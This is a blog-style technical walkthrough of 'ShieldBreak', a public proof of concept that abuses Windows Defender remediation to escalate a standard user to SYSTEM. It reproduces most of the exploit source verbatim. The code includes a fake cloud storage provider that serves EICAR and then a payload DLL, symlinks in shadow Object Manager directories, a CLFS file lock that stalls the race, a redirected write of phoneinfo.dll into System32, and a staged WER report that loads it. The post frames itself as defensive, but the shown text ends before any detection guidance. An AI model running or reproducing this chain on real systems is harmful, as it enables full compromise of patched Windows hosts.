core-jmp core-jmpdeath of core jump

ShieldBreak: Making Windows Defender Write Your Payload to System32

On 12 August 2026 Nightmare Eclipse published ShieldBreak, a proof of concept that defeats Microsoft's July fix for CVE-2026-50656 (RoguePlanet) and escalates a standard user to NT AUTHORITYSYSTEM on fully patched Windows 11 25H2 and Server 2025. This is a line-by-line walkthrough of the chain: registering a fake cloud storage provider so the attacker controls what Defender reads, using Object Manager shadow directories to re-route an in-flight scan, locking a CLFS container to turn a flaky race into a deterministic stall, and finally getting Defender's own remediation to plant phoneinfo.dll in System32 for a WER-triggered SYSTEM shell.

oxfemale August 14, 2026 27 min read 89 reads
Export PDF
ShieldBreak: Making Windows Defender Write Your Payload to System32
Original text: “ShieldBreak — Windows Defender 0day vulnerability”Nightmare Eclipse (GitHub MSNightmare; also reported as “Chaotic Eclipse”), published 12 August 2026. The repository is MIT-licensed, Copyright (c) 2026 INFINITE NIGHTMARE; all code below is reproduced verbatim from it with attribution captions and the licence notice.
Defensive analysis. This breakdown covers a publicly released proof of concept for a bug that is unpatched at the time of writing. It is published for detection engineers and Windows internals researchers who need to understand the chain in order to hunt for it. Detection guidance and mitigations are in the final sections.

Executive Summary

On 12 August 2026 the researcher known as Nightmare Eclipse published ShieldBreak, a working proof of concept that defeats Microsoft’s July 2026 fix for CVE-2026-50656 — the Defender flaw nicknamed RoguePlanet. The original bug was a race condition and link-resolution weakness in the Malware Protection Engine that let a local, low-privileged user reach NT AUTHORITY\SYSTEM. Microsoft shipped Engine v1.1.26060.3008 to close it. ShieldBreak reaches the same outcome on a fully patched machine by rebuilding the chain out of different parts.

The elegance of the technique is that it never attacks Defender’s scanning logic directly. Instead it makes the attacker the authority on file content: the PoC registers itself as a Windows cloud storage provider through the Cloud Filter API, so every read of its placeholder file calls back into attacker code. Defender is shown the EICAR test file, dutifully flags a threat, and schedules remediation — and by the time that remediation runs, an Object Manager shadow directory has quietly re-pointed the same path at C:\Windows\System32\phoneinfo.dll. Defender, running as SYSTEM, writes the attacker’s DLL into System32 itself. A queued Windows Error Reporting crash report and the QueueReporting scheduled task then load that DLL as SYSTEM. What makes this more than a curiosity is the CLFS file lock the PoC uses to freeze the operation mid-flight: it converts a temperamental race into a deterministic one, which is where the author’s claim of a 100% success rate comes from.

ShieldBreak full exploit chain, nine stages
The nine stages of the ShieldBreak chain, from cloud-provider registration to a SYSTEM shell. Diagram: core-jmp.org technical analysis.

Background: RoguePlanet and an Incomplete Patch

CVE-2026-50656 was weaponised in early June 2026. The underlying defect sat in mpengine.dll, the Malware Protection Engine loaded by MsMpEng.exe, and combined a race condition with improper link resolution. Because the engine runs as SYSTEM and routinely writes to and deletes files anywhere on disk during remediation, any confusion about which file it is acting on converts directly into an arbitrary file write with SYSTEM rights. Every engine build below 1.1.26060.3008 is affected; Microsoft shipped that build in July 2026.

ShieldBreak’s claim is not that the patch was wrong, but that it was too narrow — it addressed the specific route rather than the class. The PoC is documented as tested on fully patched Windows 11 25H2 including the Canary channel, and on Windows Server 2025. The README notes that Windows 10 and its server editions are not currently supported by the PoC while still being vulnerable to the underlying issue.

ItemValue
CVECVE-2026-50656 (“RoguePlanet”) — ShieldBreak is a bypass of its fix
ComponentMicrosoft Malware Protection Engine (mpengine.dll) via MsMpEng.exe
ClassCWE-367 (TOCTOU race) chained with CWE-59 (improper link resolution) and CWE-427 (uncontrolled search path)
ImpactLocal privilege escalation — standard user to NT AUTHORITY\SYSTEM
Patched enginev1.1.26060.3008 (July 2026) — bypassed by ShieldBreak
Confirmed targetsWindows 11 25H2 (incl. Canary), Windows Server 2025
PoC published12 August 2026, MIT licence
ATT&CKT1068 Exploitation for Privilege Escalation; T1574.001 DLL Search Order Hijacking; T1036 Masquerading
Vulnerability summary. Compiled from the repository and public reporting.

Preconditions

The PoC is not a remote exploit and does not bypass authentication. It needs local code execution as any interactive user, and it needs Defender to be running with real-time protection enabled — the exploit depends on Defender actually scanning and remediating. It also refuses to run if the target DLL already exists, which is the first thing main() checks:

	if (GetFileAttributes(L"C:\\Windows\\System32\\phoneinfo.dll") != INVALID_FILE_ATTRIBUTES)
	{
		printf("Delete phoneinfo.dll fucktard.\n");
		return 1;
	}
	SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
	SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
	HANDLE hpipe = CreateNamedPipe(L"\\??\\pipe\\SHIELDBREAK", PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, NULL, 1, NULL, NULL, NULL, NULL);
	if (hpipe == INVALID_HANDLE_VALUE)
		return 1;

ShieldBreak.cpp — entry guard, priority boost and the named pipe used later for the shell.

The priority boost is not cosmetic. Two of the stages are timing-sensitive, and running the exploit thread at THREAD_PRIORITY_TIME_CRITICAL improves the odds of winning the sections of the chain that are not protected by the CLFS lock.

Step 1 — Becoming the Storage Provider

The foundation of the whole chain is the Cloud Files API (cfapi), the mechanism behind OneDrive’s Files On-Demand. A cloud provider registers a sync root, creates placeholder files that have metadata but no local content, and supplies the bytes on demand when something reads them. That last part is the primitive: the provider decides what the file contains, at the moment of the read.

ShieldBreak creates a working directory with a DACL granting GENERIC_ALL to Everyone — so that Defender running as SYSTEM can traverse it while the low-privileged attacker retains full control — and registers a provider named “Flubber” over it.

	GUID ProviderId;
	CLSIDFromString(L"{B196E670-59C7-4D41-9637-C62D80541321}", &ProviderId);
	CF_SYNC_REGISTRATION reg = { 0 };
	reg.StructSize = sizeof(reg);
	reg.ProviderName = L"Flubber";
	reg.ProviderVersion = L"1.0";
	reg.ProviderId = ProviderId;

	CF_SYNC_POLICIES policies = { 0 };
	policies.StructSize = sizeof(policies);
	policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
	policies.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
	policies.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_AUTO_DEHYDRATION_ALLOWED | CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED; 
	policies.InSync = CF_INSYNC_POLICY_NONE;
	policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
	HRESULT hs = CfRegisterSyncRoot(workdir.c_str(), &reg, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
	if (hs)
		throw hs;
	printf("[+] Cloud provider has been registered.\n");

ShieldBreak.cpp — registering the fake sync root. Note CF_HYDRATION_POLICY_FULL: any read forces a full fetch.

It then wires up a callback table and connects, so that CF_CALLBACK_TYPE_FETCH_DATA events are routed into the exploit’s own function, and creates a single placeholder named BERLIN whose declared size is that of the embedded EICAR archive.

	CF_CALLBACK_REGISTRATION table[2];
	table[0] = { CF_CALLBACK_TYPE_FETCH_DATA, CLBK };
	table[1] = CF_CALLBACK_REGISTRATION_END;
	CF_CONNECTION_KEY key = { 0 };
	DWORD attemptn = 1;
	hs = CfConnectSyncRoot(workdir.c_str(), table, &attemptn, CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH | CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO, &key);
	if (hs)
		throw hs;
	printf("[+] Attached cloud provider to %ws\n", workdir.c_str());
	CF_PLACEHOLDER_CREATE_INFO place_holders[1] = { 0 };
	place_holders[0].RelativeFileName = L"BERLIN";
	FILETIME ft = { 0 };
	GetSystemTimeAsFileTime(&ft);
	LARGE_INTEGER ttime = { 0 };
	ttime.LowPart = ft.dwLowDateTime;
	ttime.HighPart = ft.dwHighDateTime;
	place_holders[0].FsMetadata.BasicInfo.CreationTime = ttime;
	place_holders[0].FsMetadata.FileSize.QuadPart = dwSize_zip;
	place_holders[0].FsMetadata.BasicInfo.FileAttributes = FILE_ATTRIBUTE_NORMAL;
	place_holders[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE | CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC;
	place_holders[0].FileIdentity = malloc(0x130);
	place_holders[0].FileIdentityLength = 0x130;
	DWORD pentries = 0;

	hs = CfCreatePlaceholders(workdir.c_str(), place_holders, 1,
		CF_CREATE_FLAG_NONE, &pentries);
	if (hs)
		throw hs;
	printf("[+] Placeholder created.\n");

ShieldBreak.cpp — callback registration and placeholder creation.

The two-faced file

Here is the heart of the technique. The fetch callback keeps a one-shot flag in its callback context. The first time Defender reads the file it receives eicar_com.zip; every read after that receives Warden.dll, the payload. Same path, same handle, different bytes.

void CALLBACK CLBK(
	_In_ CONST CF_CALLBACK_INFO* CallbackInfo,
	_In_ CONST CF_CALLBACK_PARAMETERS* CallbackParameters
) {
	LARGE_INTEGER offset = CallbackParameters->FetchData.RequiredFileOffset;
	LARGE_INTEGER length = CallbackParameters->FetchData.RequiredLength;
	DWORD* RNA = (DWORD*)CallbackInfo->CallbackContext;
	CF_OPERATION_PARAMETERS opParams = { 0 };
	opParams.ParamSize = sizeof(CF_OPERATION_PARAMETERS);

	if (*RNA == 1) {
		opParams.TransferData.Buffer = pResourceData_zip;
		opParams.TransferData.Offset = offset;
		opParams.TransferData.Length.QuadPart = dwSize_zip;
		*RNA = 2;
	}
	else {
		opParams.TransferData.Buffer = pResourceData_dll;
		opParams.TransferData.Offset = offset;
		opParams.TransferData.Length.QuadPart = dwSize_dll;
	}
	opParams.TransferData.CompletionStatus = STATUS_SUCCESS;
	CF_OPERATION_INFO opInfo = { 0 };
	opInfo.StructSize = sizeof(CF_OPERATION_INFO);
	opInfo.Type = CF_OPERATION_TYPE_TRANSFER_DATA;
	opInfo.ConnectionKey = CallbackInfo->ConnectionKey;
	opInfo.TransferKey = CallbackInfo->TransferKey;
	HRESULT hr = S_OK;

	hr = CfExecute(&opInfo, &opParams);
	if (FAILED(hr)) {
		std::wcerr << L"[-] CfExecute failed with HRESULT: 0x" << std::hex << hr << std::endl;
		throw hr;
	}
	printf("[+] Cloud provider callback success.\n");
	{
		CF_OPERATION_PARAMETERS opParams = { 0 };
		CF_OPERATION_INFO opInfo = { 0 };
		HRESULT hr = S_OK;

		opParams.ParamSize = sizeof(CF_OPERATION_PARAMETERS);
		opParams.AckData.CompletionStatus = STATUS_SUCCESS;
		opParams.AckData.Flags = CF_OPERATION_ACK_DATA_FLAG_NONE;
		opParams.AckData.Length = length;
		opParams.AckData.Offset = offset;
		opInfo.StructSize = sizeof(CF_OPERATION_INFO);
		opInfo.Type = CF_OPERATION_TYPE_ACK_DATA;
		opInfo.ConnectionKey = CallbackInfo->ConnectionKey;
		opInfo.TransferKey = CallbackInfo->TransferKey;
		hr = CfExecute(&opInfo, &opParams);
		if (FAILED(hr)) {
			std::wcerr << L"[-] CfExecute failed with HRESULT: 0x" << std::hex << hr << std::endl;
			throw hr;
		}
		printf("[+] Cloud provider callback success.\n");
	}
}

ShieldBreak.cpp — CLBK, the hydration callback that serves two different payloads.

Both binaries are embedded as PE resources rather than dropped to disk, which keeps the on-disk footprint minimal and means the malicious content never exists as a scannable standalone file until Defender itself writes it out:

IDR_ZIP1                zip                     "eicar_com.zip"
IDR_DLL1                dll                     "Warden.dll"
IDR_WER1                wer                     "Report.wer"

ShieldBreak.rc — the three embedded resources.

HRSRC hResInfo_zip = FindResource(NULL, MAKEINTRESOURCE(IDR_ZIP1), L"zip");
HGLOBAL hResData_zip = LoadResource(NULL, hResInfo_zip);
LPVOID pResourceData_zip = LockResource(hResData_zip);
DWORD dwSize_zip = SizeofResource(NULL, hResInfo_zip);


HRSRC hResInfo_dll = FindResource(NULL, MAKEINTRESOURCE(IDR_DLL1), L"dll");
HGLOBAL hResData_dll = LoadResource(NULL, hResInfo_dll);
LPVOID pResourceData_dll = LockResource(hResData_dll);
DWORD dwSize_dll = SizeofResource(NULL, hResInfo_dll);

ShieldBreak.cpp — resources resolved at load time into the pointers the callback hands to CfExecute.

cfapi hydration callback serving two different file contents
Defender scans one set of bytes and remediates another, because the attacker owns the hydration path. Diagram: core-jmp.org technical analysis.

Step 2 — Object Manager Shadow Directories

Serving different content is only half the problem. The exploit also has to change where the path points between the scan and the cleanup, without touching the path string Defender was handed. This is done with a lesser-known NT Object Manager feature: shadow directories.

NtCreateDirectoryObjectEx takes a ShadowDirectoryHandle. A lookup that fails in the shadow directory falls through to the directory it shadows. The function is undocumented in the Windows SDK, so the PoC resolves it dynamically:

NTSTATUS(WINAPI* _NtCreateDirectoryObjectEx)(
	OUT PHANDLE             DirectoryHandle,
	IN ACCESS_MASK          DesiredAccess,
	IN POBJECT_ATTRIBUTES   ObjectAttributes,
	IN HANDLE ShadowDirectoryHandle,
	IN ULONG Flags) =
	(NTSTATUS(WINAPI*)(
		OUT PHANDLE             DirectoryHandle,
		IN ACCESS_MASK          DesiredAccess,
		IN POBJECT_ATTRIBUTES   ObjectAttributes,
		IN HANDLE ShadowDirectoryHandle,
		IN ULONG Flags))GetProcAddress(ntdllhm, "NtCreateDirectoryObjectEx");

ShieldBreak.cpp — dynamic resolution of the undocumented NtCreateDirectoryObjectEx.

Two small RAII wrappers manage the directories and symbolic links, so that destroying the C++ object deletes the kernel object — which is exactly how the exploit later removes a link at a precise moment.

class ObjectSymlinkMgr {

public:

	ObjectSymlinkMgr(wchar_t* symlinkpath, wchar_t* symlinktarget, HANDLE hparentobjdir = NULL) {
		if (!symlinkpath || !symlinktarget)
		{
			throw STATUS_INVALID_PARAMETER;
		}
		UNICODE_STRING _symlinkpath = { 0 };
		RtlInitUnicodeString(&_symlinkpath, symlinkpath);
		UNICODE_STRING _symlinktarget = { 0 };
		RtlInitUnicodeString(&_symlinktarget, symlinktarget);
		OBJECT_ATTRIBUTES objattr = { 0 };
		InitializeObjectAttributes(&objattr, &_symlinkpath, OBJ_CASE_INSENSITIVE, hparentobjdir, NULL);
		NTSTATUS stat = _NtCreateSymbolicLinkObject(&this->hlink, GENERIC_ALL, &objattr, &_symlinktarget);
		if (stat)
			throw stat;
	}
	HANDLE GetHandle() {
		return this->hlink;
	}
	~ObjectSymlinkMgr() {
		CloseHandle(this->hlink);
	}
private:
	HANDLE hlink = NULL;

};


class ObjectDirMgr {


public:
	ObjectDirMgr(wchar_t* objdirpath, HANDLE hshadow = NULL, HANDLE hparent = NULL) {
		if (!objdirpath)
			throw STATUS_INVALID_PARAMETER;
		UNICODE_STRING _objdirpath = { 0 };
		RtlInitUnicodeString(&_objdirpath, objdirpath);
		OBJECT_ATTRIBUTES objattr = { 0 };
		InitializeObjectAttributes(&objattr, &_objdirpath, OBJ_CASE_INSENSITIVE, hparent, NULL);
		NTSTATUS stat = _NtCreateDirectoryObjectEx(&this->hobjdir, GENERIC_ALL, &objattr, hshadow, NULL);
		if (stat)
			throw;
	}
	HANDLE GetHandle() {
		return this->hobjdir;
	}
	~ObjectDirMgr() {
		CloseHandle(hobjdir);
	}
private:
	HANDLE hobjdir;

};

ShieldBreak.cpp — ObjectSymlinkMgr and ObjectDirMgr.

The setup creates a target directory and a shadow directory over it, then places a WD_SCAN symlink in each. The one in the shadow directory points at the real working directory; the one in the target directory points at the same directory through the CLFS device namespace. While both exist, the shadow link wins.

	std::wstring targetobjdirpath = L"\\BaseNamedObjects\\Restricted\\WD_TARGET_";
	targetobjdirpath.append(mainguid);
	ObjectDirMgr* targetdir = new ObjectDirMgr((wchar_t*)targetobjdirpath.c_str());
	printf("[+] %ws object manager directory created\n", targetobjdirpath.c_str());

	std::wstring shadowobjdirpath = L"\\BaseNamedObjects\\Restricted\\WD_SHADOW_";
	shadowobjdirpath.append(mainguid);
	ObjectDirMgr* shadowdir = new ObjectDirMgr((wchar_t*)shadowobjdirpath.c_str(), targetdir->GetHandle());
	printf("[+] %ws object manager directory created\n", shadowobjdirpath.c_str());

	std::wstring shlnkpath = L"WD_SCAN";
	std::wstring shlnktarget = ntworkdir;
	ObjectSymlinkMgr* shlnk = new ObjectSymlinkMgr((wchar_t*)shlnkpath.c_str(), (wchar_t*)shlnktarget.c_str(), shadowdir->GetHandle());
	printf("[+] %ws <=> %ws object link created\n", shlnkpath.c_str(), shlnktarget.c_str());

	std::wstring mnlnktarget = L"\\CLFS\\??\\" + workdir;
	ObjectSymlinkMgr* mnlnk = new ObjectSymlinkMgr((wchar_t*)shlnkpath.c_str(), (wchar_t*)mnlnktarget.c_str(), targetdir->GetHandle());
	printf("[+] %ws <=> %ws object link created\n", shlnkpath.c_str(), mnlnktarget.c_str());

	std::wstring scan_path = L"\\\\.\\globalroot\\BaseNamedObjects\\Restricted\\WD_SHADOW_" + std::wstring(mainguid) + L"\\WD_SCAN\\BERLIN";
	wcscpy(scan_target, scan_path.c_str());

ShieldBreak.cpp — the shadow/target directory pair and the two competing WD_SCAN links.

The path finally handed to Defender reaches into the object namespace through the Win32 globalroot escape, which is what lets a user-mode scan request traverse Object Manager directories at all.

Object Manager shadow directory resolution before and after link deletion
Deleting a single symlink silently re-routes an already-issued scan to a different destination. Diagram: core-jmp.org technical analysis.

Step 3 — Driving Defender Through Its Own RPC Interface

Rather than waiting for a scheduled scan, the PoC asks Defender to scan the crafted path directly. It loads MpClient.dll from Defender’s own install directory, read from the registry, and calls the documented-but-rarely-used Mp* client API to open the manager, start a resource scan, enumerate the resulting threat and start remediation.

bool GetWDInstallDir(wchar_t* dirname)
{
	HKEY hkey = NULL;
	LSTATUS lstat = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows Defender", NULL, KEY_QUERY_VALUE, &hkey);
	if (lstat)
	{
		printf("[-] Failed to open windows defender registry key, error : %d\n", lstat);
		return false;
	}
	DWORD keytype = REG_SZ;
	DWORD datasz = MAX_PATH * sizeof(wchar_t);
	lstat = RegQueryValueEx(hkey, L"InstallLocation", NULL, &keytype, (LPBYTE)dirname, &datasz);
	if (lstat)
	{
		printf("[-] Failed to query windows defender install location, error : %d\n", lstat);
		return false;
	}
	RegCloseKey(hkey);
	return true;
}

ShieldBreak.cpp — locating the Defender install directory in order to load MpClient.dll.

	MPRESOURCE_INFO scaninfo = { 0 };
	scaninfo.Scheme = (wchar_t*)L"file";
	scaninfo.Path = scan_target;
	MPSCAN_RESOURCES scanrsrc = { 0 };
	scanrsrc.dwResourceCount = 1;
	scanrsrc.pResourceList = &scaninfo;
	
	MPHANDLE scanctx = NULL;
	hres = _MpScanStart(hbinding, MPSCAN_TYPE_RESOURCE, 0x60004002, &scanrsrc, NULL, &scanctx);
	// 0x8050111C scan pending
	if (hres)
	{
		printf("F[-] ailed to start windows defender scan, error : 0x%0.8X\n", hres);
		ExitProcess(1);
	}
	DWORD sz = 0x90;
	void* scanres = malloc(0x90);
	ZeroMemory(scanres, 0x90);
	hres = _MpScanResult(scanctx, scanres);
	if (hres)
	{
		printf("[-] Failed to fetch scan results, error : 0x%0.8X\n", hres);
		ExitProcess(1);
	}

ShieldBreak.cpp — starting a targeted MPSCAN_TYPE_RESOURCE scan against the crafted path.

Once the scan reports a threat, the exploit opens the threat enumeration, confirms the status is MP_THREAT_STATUS_DETECTED, and opens a clean context. Crucially it starts the clean operation and then waits — the actual trigger is fired later, from the main thread, once the redirection is in place.

	MPHANDLE threatctx = NULL;
	hres = _MpThreatOpen(scanctx, MPTHREAT_SOURCE_SCAN, MPTHREAT_TYPE_KNOWNBAD, &threatctx);
	if (hres)
	{
		printf("[-] Failed to open threats, error : 0x%0.8X\n", hres);
		ExitProcess(1);
	}
	MPTHREAT_INFO* tinfo = NULL;
	hres = _MpThreatEnumerate(threatctx, &tinfo);
	if (hres == 0x1)
	{
		printf("[-] No threats found.\n");
		ExitProcess(0);
	}
	if (hres)
	{
		printf("[-] Failed to enumerate threats, error : 0x%0.8X\n", hres);
		ExitProcess(1);
	}
	if (tinfo->ThreatStatus != 0x1)
	{
		printf("[-] Unexpected reply from MpThreatEnumerate.\n");
		ExitProcess(1);
	}

	hres = _MpCleanOpen(scanctx, NULL, &cleanctx);
	if (hres)
	{
		printf("[-] MpCleanOpen failed, error : 0x%0.8X\n", hres);
		ExitProcess(1);
	}

	void* callbackaddr[2] = { WDCLBK, WDCLBK };

	hres = _MpCleanStart(cleanctx, NULL, callbackaddr);
	if (hres)
	{
		printf("[-] MpCleanStart failed, error : 0x%0.8X\n", hres);
		ExitProcess(1);
	}
	WaitForSingleObject(hnotify, INFINITE);
	CloseHandle(hnotify);
	_MpHandleClose(scanctx);
	_MpHandleClose(threatctx);
	_MpHandleClose(hbinding);
	return ERROR_SUCCESS;

ShieldBreak.cpp — threat enumeration and the deferred clean operation.

Step 4 — Turning a Race Into a Deterministic Stall

This is the part that separates ShieldBreak from an ordinary flaky TOCTOU exploit. Routing the second link through \CLFS\??\ causes the Common Log File System driver to create a log container file inside the working directory. The exploit watches the directory with ReadDirectoryChangesW, waits for the first file creation event and destroys the shadow symlink at that instant — then waits for the second event to learn the CLFS container’s name.

	wchar_t nfilename[MAX_PATH] = { 0 };
	wchar_t nfilename2[MAX_PATH] = { 0 };
	char buff[0x1000] = { 0 };
	do {
		retb = 0;
		if (ReadDirectoryChangesW(hmonitor, buff, sizeof(buff), FALSE, FILE_NOTIFY_CHANGE_FILE_NAME, &retb, NULL, NULL))
		{
			FILE_NOTIFY_INFORMATION* fni = (FILE_NOTIFY_INFORMATION*)buff;
			if (fni->Action != FILE_ACTION_ADDED)
				continue;
			delete shlnk;
			break;
		}
	} while (1);
	do {
		retb = 0;
		if (ReadDirectoryChangesW(hmonitor, buff, sizeof(buff), FALSE, FILE_NOTIFY_CHANGE_FILE_NAME, &retb, NULL, NULL))
		{
			FILE_NOTIFY_INFORMATION* fni = (FILE_NOTIFY_INFORMATION*)buff;
			if (fni->Action != FILE_ACTION_ADDED)
				continue;
			memmove(nfilename, &fni->FileName[0], fni->FileNameLength * sizeof(wchar_t));
			break;
		}
	} while (1);

ShieldBreak.cpp — using directory change notifications as a synchronisation primitive. delete shlnk removes the shadow link mid-operation.

With the container name known, the exploit opens it and takes an exclusive range lock over the entire file. Because CLFS operations block on that lock, the kernel side of the operation is now frozen at a point of the attacker’s choosing. The race window is no longer a window — it is held open indefinitely.

	std::wstring full_clfs_name = ntworkdir + L"\\" + std::wstring(nfilename);
	UNICODE_STRING _uclfs_name = { 0 };
	RtlInitUnicodeString(&_uclfs_name, full_clfs_name.c_str());
	OBJECT_ATTRIBUTES _clfs_objattr = { 0 };
	InitializeObjectAttributes(&_clfs_objattr, &_uclfs_name, OBJ_CASE_INSENSITIVE, NULL, NULL);
	HANDLE hclfs_file = NULL;
	iostat2 = { 0 };
	stat = NtCreateFile(&hclfs_file, FILE_READ_DATA | SYNCHRONIZE, &_clfs_objattr, &iostat2, NULL, NULL, ALL_SHARING, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, NULL);
	if (stat) {
		printf("[-] Failed to open %ws error : 0x%0.8X\n", full_clfs_name.c_str(), hs);
		throw stat;
	}

	LARGE_INTEGER li = { 0 };
	li.QuadPart = MAXLONGLONG;
	OVERLAPPED ovp = { 0 };
	LockFileEx(hclfs_file, LOCKFILE_EXCLUSIVE_LOCK | LOCKFILE_FAIL_IMMEDIATELY, NULL, li.LowPart, li.HighPart, &ovp);

	ObjectDirMgr* foodir = new ObjectDirMgr((wchar_t*)L"WD_SCAN", NULL, shadowdir->GetHandle());
	wchar_t _lsymlinkname[MAX_PATH] = { 0 };
	wcscpy(_lsymlinkname, nfilename);
	ZeroMemory(&_lsymlinkname[wcslen(_lsymlinkname) - 4], (MAX_PATH - wcslen(_lsymlinkname) - 4) * sizeof(wchar_t));
	ObjectSymlinkMgr* lsymlink = new ObjectSymlinkMgr(_lsymlinkname, (wchar_t*)L"\\??\\UNC\\127.0.0.1\\C$\\Windows\\System32\\phoneinfo.dll", foodir->GetHandle());
	printf("[+] Link deleted.\n");
	printf("[+] CLFS log locked.\n");

ShieldBreak.cpp — locking the CLFS container, then planting the redirect symlink while the operation is stalled.

Two details in that block deserve attention. First, the new symlink is named after the CLFS container with its last four characters stripped — the file extension — so it intercepts the name the driver will look up next. Second, and more interesting, the target is not a plain path:

ObjectSymlinkMgr* lsymlink = new ObjectSymlinkMgr(_lsymlinkname,
    (wchar_t*)L"\\??\\UNC\\127.0.0.1\\C$\\Windows\\System32\\phoneinfo.dll",
    foodir->GetHandle());

The redirect target, routed through the SMB loopback rather than a direct drive path.

Sending the write through \??\UNC\127.0.0.1\C$\ means it travels over the local SMB loopback to the administrative share instead of resolving as a direct \??\C:\ path. Redirector paths are normalised and validated differently, and this indirection is a recurring trick for slipping past checks that only reason about local drive-letter paths — a strong candidate for what the July patch failed to account for.

Restarting hydration and holding the result

With the redirect in place the exploit issues CF_OPERATION_TYPE_RESTART_HYDRATION, which re-runs the fetch — and this time the callback serves Warden.dll, at a new declared size.

	CF_TRANSFER_KEY cftranskey = { 0 };
	hs = CfGetTransferKey(hzip, &cftranskey);
	if (hs)
	{
		throw hs;
	}
	CF_OPERATION_INFO opInfo = { 0 };
	opInfo.StructSize = sizeof(CF_OPERATION_INFO);
	opInfo.Type = CF_OPERATION_TYPE_RESTART_HYDRATION;
	opInfo.ConnectionKey = key;
	opInfo.TransferKey = cftranskey;
	CF_FS_METADATA cfm = { 0 };
	cfm.FileSize.QuadPart = dwSize_dll;
	CF_OPERATION_PARAMETERS opParams = { 0 };
	opParams.ParamSize = sizeof(CF_OPERATION_PARAMETERS);
	opParams.RestartHydration.Flags = CF_OPERATION_RESTART_HYDRATION_FLAG_NONE;
	opParams.RestartHydration.FileIdentity = place_holders[0].FileIdentity;
	opParams.RestartHydration.FileIdentityLength = place_holders[0].FileIdentityLength;
	opParams.RestartHydration.FsMetadata = &cfm;

ShieldBreak.cpp — the restart-hydration operation prepared in advance with the DLL’s size.

	hs = CfExecute(&opInfo, &opParams);
	if (hs)
	{
		printf("[-] Cloud provider failed, error : 0x%0.8X\n", hs);
		throw hs;
	}
	fsz.QuadPart = CF_EOF;
	hs = CfHydratePlaceholder(hzip, { 0 }, fsz, CF_HYDRATE_FLAG_NONE, NULL);
	if (hs) {
		printf("[-] Cloud provider failed, error : 0x%0.8X\n", hs);
		throw hs;
	}

ShieldBreak.cpp — firing the restart and forcing a full hydration of the placeholder.

An earlier step copied a legitimate ntdll.dll into an alternate data stream on the placeholder. That stream is what makes the planted file a structurally valid PE image, which matters for the next move:

	if (!CopyFile(L"C:\\Windows\\System32\\ntdll.dll", std::wstring(workdir + L"\\BERLIN:stream").c_str(), FALSE))
	{
		printf("[-] File copy failed.\n");
		return 1;
	}
	printf("[+] Copied C:\\Windows\\System32\\ntdll.dll => %ws\n", std::wstring(workdir + L"\\BERLIN:stream").c_str());

ShieldBreak.cpp — seeding an alternate data stream with a real system DLL.

The exploit then spins until it can open phoneinfo.dll:stream and map it with SEC_IMAGE. Holding an executable image mapping keeps the file alive — Defender cannot delete or roll back a file that is mapped as an image — and only then does it release the clean operation and signal the scan thread to finish.

	IO_STATUS_BLOCK iostat = { 0 };
	UNICODE_STRING lsymlinktarget = { 0 };
	RtlInitUnicodeString(&lsymlinktarget, L"\\??\\C:\\Windows\\System32\\phoneinfo.dll:stream");
	HANDLE hlock = NULL;
	OBJECT_ATTRIBUTES lockobjattr = { 0 };
	InitializeObjectAttributes(&lockobjattr, &lsymlinktarget, OBJ_CASE_INSENSITIVE, NULL, NULL);
	do {
		stat = NtCreateFile(&hlock, FILE_READ_DATA | FILE_EXECUTE | SYNCHRONIZE, &lockobjattr, &iostat, NULL, NULL, ALL_SHARING, FILE_OPEN, FILE_NON_DIRECTORY_FILE, NULL, NULL);
	} while (stat != STATUS_SUCCESS);
	HANDLE hmap = NULL;
	do {
		hmap = CreateFileMapping(hlock, NULL, PAGE_EXECUTE_READ | SEC_IMAGE, NULL, NULL, NULL);
	} while (!hmap);
	void* viewbuff = MapViewOfFile(hmap, FILE_MAP_READ | FILE_MAP_EXECUTE, NULL, NULL, NULL);
	hs = _MpCleanControl(cleanctx, NULL);
	SetEvent(hnotify);

	printf("[+] %ws file locked.\n", lsymlinktarget.Buffer);
	printf("[*] Attempting to spawn shell...\n");

ShieldBreak.cpp — racing to obtain an image mapping, then releasing the stalled clean operation.

Step 5 — From Arbitrary Write to SYSTEM Execution

An arbitrary file write as SYSTEM is not yet code execution. The bridge is phoneinfo.dll, a long-standing missing DLL on Windows: several system components attempt to load it from System32 and it simply is not there on a default installation. One of those components is Windows Error Reporting, and WER has a scheduled task that runs as SYSTEM.

The PoC drops a pre-built crash report into the WER report queue, using a directory name that matches the pattern WER expects:

	HRSRC hResInfo_wer = FindResource(NULL, MAKEINTRESOURCE(IDR_WER1), L"wer");
	HGLOBAL hResData_wer = LoadResource(NULL, hResInfo_wer);
	LPVOID pResourceData_wer = LockResource(hResData_wer);
	DWORD dwSize_wer = SizeofResource(NULL, hResInfo_wer);

	wchar_t werdir[MAX_PATH] = { 0 };
	wsprintf(werdir, L"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\Kernel_c0000000_A_B_C-C-D-E-%ws", mainguid);
	if (!CreateDirectory(werdir, NULL))
	{
		printf("[-] Failed to create %ws\n", werdir);
		throw GetLastError();
	}
	wchar_t werfile[MAX_PATH] = { 0 };
	wsprintf(werfile, L"%ws\\Report.wer", werdir);
	HANDLE hwerfile = CreateFile(werfile, GENERIC_WRITE, ALL_SHARING, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if (!hwerfile || hwerfile == INVALID_HANDLE_VALUE || !WriteFile(hwerfile, hResData_wer, dwSize_wer, &retb, NULL)) {
		printf("[-] Failed to create %ws\n", werfile);
		return GetLastError();
	}
	CloseHandle(hwerfile);

ShieldBreak.cpp — staging the embedded Report.wer in the WER report queue.

